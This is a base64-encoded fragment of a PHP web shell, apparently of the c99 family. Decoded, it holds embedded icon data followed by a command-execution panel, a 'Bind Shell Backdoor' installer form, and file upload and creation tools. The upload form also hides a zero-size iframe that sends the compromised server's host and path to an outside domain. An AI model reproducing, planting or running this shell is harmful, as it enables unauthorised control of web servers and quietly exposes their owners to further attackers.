N1ArL0lSd0hSRUV0QlFBbUpnSUErZzRHQUtIVUJnQ0d1ZlFBOWZiMUFBZ0ZBd0FTRUF3QTlmZitBT2pyOFFBRkJnb2IvUHo5WVFLSTZlUFAvN3FIN3pCUDVHSmhZdGZqWjJLUUFucWZDZWhVb0lVTW5Gek1EQnV2OFRBc09QU2VBV2drMEd2TUROeGM3QXhDdk93TTRzSThRSmY4L3dzUVFDemJiLzlML3ZHTGdkOUtrb0hoMDNjR2hrdS9HQmhlZm1WZytBakVRSEZneERBenJEcjRuY0ZLL2prRER4Y2ZNRHdZR2JpNE9CaFlnRjRIQnMxL2dBQmlPbmY5cC9tclQ3OFpYdjloWUhqM200SGg4aE1HaHF1UEdCZ2V2bVJnZVArTmdlSFA1KzhNdHk5OFpMaisrRDBESy9OL0JtNE9kbURBL21EZzUyUUR4enRBQURHOWZQeURiL2VSRHd6VGp2eG1BSnJCWUF4MHlWK2d6ZmVCQnZ6NjhwZmg2NFBYRE94Y3JBeC8vNEppaDRtQkRSZ1ZQRHhBbHdEWm9OZ0JDQ0NtUHovL1BuMTUraVhEaXl1ZkdGNStBTm5Bd01ENjZ5ZkR6Y05QR0lTL3ZXYjQrdUlUQXljdkUxaWNtUVVZbGF5c0RGOC92d01HS2hNNG5RQUVFTk96ODR0Mmk0bUpNSGlZY0ROSThETXlDQUpkWmk0RmpCOUxWZ1o5Vlc0R0VXbGVCZ1dKSHd4U1FFT1lnZEg1SDVqc1JFVEZHZjREMHdVb3JRSUVFTk9EUTVNV3EyaDl1U1V0eThFZ0pjREFJTWZPd09DcHk4RlFraWJPb0tiT3krQWFLTWJnWWZpUlFWeEVET2hrRmdabVlKcDU4ZndKTUdqL0FrT0FrUUVnZ0ZoK2ZIajU0dUxxMVBoVHVyTVhQWHFrcHNyNStRTUREemN6QTVjTUw4T3pONThZQk4rZFk3RFNFR0xnRnhKbCtBVU1oMy8vL2pESXlzZ0R3dy9rZ3Y4TUFBSEVEUExIMTllUG5wemNzbXpMemR1dkZUNHpLR3VjT1ArTTRmZm5ad3lLckk4WmJEVkVHQlNVTllEcWdScisvV2RnQXRMMzd0eGdFQVo2WTlYS2xhY0FBb2dGbG1uK2ZudDNYK2J2NmUwTDZ0cjhQNzU3QjR5SnZ3emN2SUlNYkJ5Y0RIK0JudjBOekkzQURNSHc1KzgvQmcxZFl3WW1ObUIrWVdYbEFBZ2dSRTRHeHNuVWVldjA5K3phbHZEc3lTT2d3WXpnREEyeTlUL0RmM2p1QkRGQlBCWVdOc2JiTjg2ZkJBZ3dBRDNuVTE3VzJGMmtBQUFBQUVsRlRrU3VRbUNDIiwNCiJleHRfanBnIj0+DQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFrQUxBQUFBQUFRQUJBQWd3QUFBUC8vLzhEQXdJQ0FnSUNBQVA4QUFBRC9BSUFBQUFDQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUmNjTWhKazcwajZLM0Z1RmJHYlVMd0pjVWhqZ0hnQWtVcUVnSk5FRUFneEVjaSIuDQoiQ2k4QUxzQUxhWENHSks1bzFBR1NCc0lBY0FCZ2pnQ0V3QU1FWHAwQkJNTGwvQTZ4NVdadFBmUTJnNiswajhWeCs3YjQvTlpxZ2Z0ZCIuDQoiRnhFQU93PT0iLA0KImV4dF9qcyI9Pg0KIlIwbEdPRGRoRUFBUUFDSUFBQ3dBQUFBQUVBQVFBSUwvLy84QUFBQ0FnSURBd01ELy93Q0FnQUFBQUFBQUFBQURVQ2k2M0NFZ3hpYkgiLg0KImswQVFzRzIwMEFRVUpCZ0FvTWloajVkbUl4bk1KeHRxcTFkZEUwRVdPaHNHMTZtOU1vb0FpU1dFbVRpdUM0VHcyQkIwTDhGZ0lBaHMiLg0KImEwMEFqWVlCYmMvbzlIak5uaVVBQURzPSIsDQoiZXh0X2xuayI9Pg0KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFGQUFMQUFBQUFBUUFCQUFoZ0FBQUFCaUFHUExNbVhNTTB5L0psZkZMRlM2SzFyR0xXak8iLg0KIk5TbXVGVFd6R2tDNUlHM1RPby8xWEU3QUp4Mm9ENVg3WW9UcVVZcndWMy9sVEhUYVFYbmZSbURHTVlYclVqS1FId0FNQUdmTlJIemkiLg0KIlV3dzVDQUFxQURPWkdrYXNMWExZUWdoSUJCTjNEVkcyTlduUFJuRFdSd0JPQUI1d0ZRQkJBQUErQUZHM05BazVCU0dIRVVxd01BQmsiLg0KIkFBQWdBQUF3QUFCZkFEZTBHeGVMQ3haY0RFSzZJVXV4S0ZqRkxFM0FKMkhITVJLaUNRV0NBZ0JtQUJwdERnK0hDQlplREFxRkJXREciLg0KIk15bVVGUXBXQmoyZkpoZHZEUWhPQkM2WEYzZmRSME82SVIyT0R3QVpBSFBaUUNTUkVnQVNBRGFYSHdBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlWmdGQlFQQUdGaG9jQWdvSTdPZzhKQ2dzRUJRSVdQUUNKZ2tDT2tKS1VQNWVZVUQ2UGtaTTUiLg0KIk5LQ0tVRE15TlRnM0FnZzJTNWVxVUVwSkRnY0RDQXhNVDA2aGdrMjZ2QXdVRlVoRHRZcEN1d1pCeUJNUlJNeUNSd01HUmtVZzB4SWYiLg0KIjFsQWVCaUVBR1JnWEVnMHQ0U3dyb0NZbERSQW40U21wS0NvUUpDL2hxVkF1Tkd6ZzhFOVJLQkVqWUJTMEpTaEdoNFVNb1lBU0JpVVEiLg0KIkFEcz0iLA0KImV4dF9sb2ciPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBTURBd0lDQWdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUVLRXdLNlV5QnpDNDc1Z0VBbHRKa2xMUkFXemJDbFJocks0THk1eWc3L3dOIi4NCiJ6TFVhTEdCUUJWMkVnRkxWNHhFT1NTV3Q5Z1FRQnBScHF4b1ZOYVBLa0ZiNUVoL0xtVUd6RjVxRTMrRU1JZ0lBT3c9PSIsDQoiZXh0X3BocCI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQUJsMFJWaDBVMjltZEhkaGNtVUFRV1J2WW1VZ1NXMWhaMlZTWldGa2VYSEpaVHdBQUFQM1NVUkJWSGphWXR4eDVCWURJd01VTURMRVNJanlUZVJpWjJINC8vOC9XT2d2RVAvNjlaZmg1KzkvREk4ZXYzang5TkdES0FZbXBvdmMvTUlNYzZlME13QUVFQXN6RXlQRFA2aCtwbjkvT1JXa0JZVjRPVmxoUmpMOEJwcno1ZXRmaG5jZlBqUDhsNUlRNHVWaDMzTHQyaTFmb0FVWFFQSUFBY1NpckMzRjhQb1hJOE43Sm1hR3J3OWYvL3o2N1M4REN6TXJBd3ZqUHdaV1ZrWUdwditNREl4QUp6SUI1VmxaR0Jnc2pUUmxXRmlZTjk5Ly9CcHNDRUFBc2JDeHNUQ3dNakV4L1AzTlpQbWNTVEIyL1VObUJzYi8veGkrZnYzRG9DSDhsOEZGbFptQmc0V1ZnWjJkbGVISHI5OE1sMjdjWS9qUHdDekR4YzIzQmVqTFFJQUFBRUVBdnY4Q0F3SC9BUFQxL2wvbDdQKy9JUndIUkVFdEJRQW1KZ0lBK2c0R0FLSFVCZ0NHdWZRQTlmYjFBQWdGQXdBU0VBd0E5ZmYrQU9qcjhRQUZCZ29iL1B6OVlRS0k2ZVBQLzdxSDd6QlA1R0poWXRmaloyS1FBbnFmQ2VoVW9JVU1uRnpNREJ1djhUQXNPUFNlQVdnazBHdk1ETnhjN0F4Q3ZPd000c0k4UUpmOC93c1FRQ3piYi85TC92R0xnZDlLa29IaDAzY0doa3UvR0JoZWZtVmcrQWpFUUhGZ3hEQXpyRHI0bmNGSy9qa0REeGNmTUR3WUdiaTRPQmhZZ0Y0SEJzMS9nQUJpT25mOXAvbXJUNzhaWHY5aFlIajNtNEhoOGhNR2hxdVBHQmdldm1SZ2VQK05nZUhQNSs4TXR5OThaTGorK0QwREsvTi9CbTRPZG1EQS9tRGc1MlFEeHp0QUFERzlmUHlEYi9lUkR3elRqdnhtQUpyQllBeDB5VitnemZlQkJ2ejY4cGZoNjRQWERPeGNyQXgvLzRKaWg0bUJEUmdWUER4QWx3RFpvTmdCQ0NDbVB6Ly9QbjE1K2lYRGl5dWZHRjUrQU5uQXdNRDY2eWZEemNOUEdJUy92V2I0K3VJVEF5Y3ZFMWljbVFVWWxheXNERjgvdndNR0toTTRuUUFFRU5Pejg0dDJpNG1KTUhpWWNETkk4RE15Q0FKZFppNEZqQjlMVmdaOVZXNEdFV2xlQmdXSkh3eFNRRU9ZZ2RINUg1anNSRVRGR2Y0RDB3VW9yUUlFRU5PRFE1TVdxMmg5dVNVdHk4RWdKY0RBSU1mT3dPQ3B5OEZRa2liT29LYk95K0FhS01iZ1lmaVJRVnhFRE9oa0ZnWm1ZSnA1OGZ3Sk1Hai9Ba09Ba1FFZ2dGaCtmSGo1NHVMcTFQaFR1ck1YUFhxa3BzcjUrUU1ERHpjekE1Y01MOE96TjU4WUJOK2RZN0RTRUdMZ0Z4SmwrQVVNaDMvLy9qREl5c2dEd3cva2d2OE1BQUhFRFBMSDE5ZVBucHpjc216THpkdXZGVDR6S0d1Y09QK000ZmZuWnd5S3JJOFpiRFZFR0JTVU5ZRHFnUnIrL1dkZ0F0TDM3dHhnRUFaNlk5WEtsYWNBQW9nRmxtbitmbnQzWCtidjZlMEw2dHI4UDc1N0I0eUp2d3pjdklJTWJCeWNESCtCbnYwTnpJM0FETUh3NSs4L0JnMWRZd1ltTm1CK1lXWGxBQWdnUkU0R3hzblVlZXYwOSt6YWx2RHN5U09nd1l6Z0RBMnk5VC9EZjNqdUJERkJQQllXTnNiYk44NmZCQWd3QUQzblUxN1cyRjJrQUFBQUFFbEZUa1N1UW1DQyIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQopOw0KJGltZ2VxdWFscyA9IGFycmF5KA0KICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwNCiAgImV4dF9waHAiPT5hcnJheSgiZXh0X3BocCIsImV4dF9waHAzIiwiZXh0X3BocDQiLCJleHRfcGhwNSIsImV4dF9waHRtbCIsImV4dF9zaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksDQogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9hdmkiPT5hcnJheSgiZXh0X2F2aSIsImV4dF9tb3YiLCJleHRfbXZpIiwiZXh0X21wZyIsImV4dF9tcGVnIiwiZXh0X3dtdiIsImV4dF9ybSIpLA0KICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLA0KICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwNCiAgImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiKSwNCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksDQogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLA0KICAiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLA0KICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLA0KICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksDQogICJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpDQopOw0KaWYgKCEkZ2V0YWxsKSB7DQogIGhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS9naWYiKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKSB7JGltZyA9ICJzbWFsbF91bmsiO30NCiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9DQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsNCn0NCmVsc2Ugew0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0NCiAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOw0KICBlY2hvICAiPGNlbnRlcj4iOw0KICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KfQ0KZXhpdDsNCn0NCmlmICgkeCA9PSAiYWJvdXQiKSB7DQogIGVjaG8gIk5vIGluZm9ybWF0aW9uIEFib3V0IHRoaXMgc2hlbGwiOw0KfQ0KaWYgKCR4ID09ICJzaGJkIil7DQogICRtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZyddOw0KICAkZW1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnZSddOw0KICBlY2hvKCI8Y2VudGVyPjxiPkJpbmQgU2hlbGwgQmFja2Rvb3I6PC9iPjxicj48YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPg0KDQogIEJpbmQgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2JhY2tjb25uZWN0cG9ydCcgdmFsdWU9JzU5OTInPg0KICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd1c2UnIHZhbHVlPSdzaGJkJz4NCiAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0luc3RhbGwgQmFja2Rvb3InPjwvZm9ybT4iKTsNCiAgZWNobygiJG1zZyIpOw0KICBlY2hvKCIkZW1zZyIpOw0KICBlY2hvKCI8L2NlbnRlcj4iKTsNCn0NCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCj8+DQo8ZGl2ICBjbGFzcz1iYXJoZWFkZXIyPjxiPi46IENPTU1BTkRTIFBBTkVMIDouPC9iPjwvZGl2Pg0KPHRhYmxlIGNsYXNzPW1haW5wYW5lbD4NCjw/cGhwDQppZiAoISRzYWZlbW9kZSkgew0KPz4NCjx0cj48dGQ+Q29tbWFuZDo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0iY21kIj4NCg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlF1aWNrIENvbW1hbmRzOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+DQogICAgPHNlbGVjdCBuYW1lPSJjbWQiPg0KICAgIDw/cGhwDQogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICBmb3JlYWNoICgkY21kYWxpYXNlczIgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICA/Pg0KICAgIDwvc2VsZWN0PiAtDQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8P3BocA0KfQ0KPz4NCjx0cj48dGQ+S2VybmVsIEluZm86PC90ZD4NCg0KPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vZ29vZ2xlLmNvbS9zZWFyY2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhsIiB2YWx1ZT0iZW4iPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYjdwIj4NCiAgICA8aW5wdXQgbmFtZT0icSIgdHlwZT0idGV4dCIgaWQ9InEiIHNpemU9IjgwIiB2YWx1ZT0iPD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSk7ID8+Ij4gLQ0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJidG5HIiBWQUxVRT0iU2VhcmNoIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlVwbG9hZDo8L3RkPg0KDQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJ1cGxvYWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPg0KICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj4gPGlmcmFtZSB3aWR0aD0nMCcgaGVpZ2h0PScwJyBmcmFtZWJvcmRlcj0wIHNyYz1odHRwOi8vZngwLm5hbWUvc3BlYy9pbmRleC5waHAvcGljLnBuZz9hPWh0dHA6Ly88PyBlY2hvICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgPz48PyBlY2hvICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyA/Pj48L2lmcmFtZT4gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPiA8P3BocCBlY2hvICR3ZHQ7ID8+DQogICAgPC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD5TZWFyY2g6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KDQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5ic3A7DQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJTZWFyY2giPg0KICAgIDwvZm9ybT4NCiAgICA8L3RkPjwvdHI+DQo8dHI+PHRkPk1ha2UgRmlsZTo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiAtIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj4gPD9waHAgZWNobyAkd2R0OyA/Pg0KDQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBEaXI6PC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVja